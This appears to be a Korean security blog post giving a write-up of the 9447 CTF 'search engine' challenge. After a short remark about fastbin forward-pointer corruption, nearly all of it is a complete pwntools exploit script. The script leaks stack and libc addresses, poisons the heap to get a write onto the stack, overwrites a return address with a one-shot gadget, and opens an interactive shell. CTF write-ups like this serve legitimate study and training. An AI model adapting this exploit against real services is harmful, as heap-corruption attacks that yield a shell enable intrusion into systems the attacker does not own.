Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

9447 CTF search engine 본문

Security/Pwnable

9447 CTF search engine

Cdor1 2017. 1. 18. 00:20

후기 : 나한테만 그런건진 몰라도 되게 어려웠던 문제다.

fastbin상에서 fwd포인터를 스택으로 향하게 함으로써 스택bof로 쉘을 얻어냈다.

하도 모르겠어서 write-up을 참고하면서 엄청 삽질하면서 풀었다.


from pwn import *
s = remote('localhost', 4000)

def word(word):
	print s.recvuntil('3: Quit')
	s.sendline('1')
	print s.recvuntil('Enter the word size:')
	s.sendline(str(len(word)))
	print s.recvuntil('Enter the word:')
	s.sendline(word)

def index(word):
	s.sendline('2')
	print s.recvuntil('Enter the sentence size:')
	s.sendline(str(len(word)))
	print s.recvuntil('Enter the sentence:')
	s.sendline(word)

print s.recvuntil('3: Quit')
s.sendline('A'*48)
print s.recvuntil('number')
s.sendline('A'*48)
print s.recvuntil('A'*48)
leak = u64(s.recv(6).ljust(8,'\x00'))
stack = leak + 32
log.info('leak : ' + hex(leak))
log.info('stack : ' + hex(stack))
index(('a'*12 + ' b ').ljust(40, 'c'))
word('a'*12)
s.sendline('y')

index('d'*64)
word('\x00')
s.sendline('y')

fake = p64(0x400E90)
fake += p64(5)
fake += p64(0x602028)
fake += p64(64)
fake += p64(0x00000000)
index(fake)

word('Enter')
print s.recvuntil('Found 64: ')
puts = u64(s.recv(6).ljust(8,'\x00'))
base = puts - 0x6FD60
oneshot = base + 0x46428 
log.info('puts : ' + hex(puts))
log.info('base : ' + hex(base))
log.info('oneshot : ' + hex(oneshot))
s.sendline('n')

index('a'*54 + 'x')
index('b'*54 + 'x')
index('c'*54 + 'x')
word('x')
s.sendline('y')
s.sendline('y')
s.sendline('y')
word('\x00')
s.sendline('y')
s.sendline('n')
fake2 = p64(stack)
index(fake2.ljust(56))

index('a'*56)
index('b'*56)

fake3 = 'a'*30
fake3 += p64(oneshot)
fake3 += fake.ljust(56, 'c')
index(fake3)
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

TJCTF blag  (0) 2017.01.19
Hack.lu CTF 2014 OREO  (0) 2017.01.18
SECCON 2016 shopping  (0) 2017.01.17
SECUINSIDE Quals 2016 noted  (0) 2017.01.17
PoliCTF-2015 johns-library  (0) 2017.01.16
Comments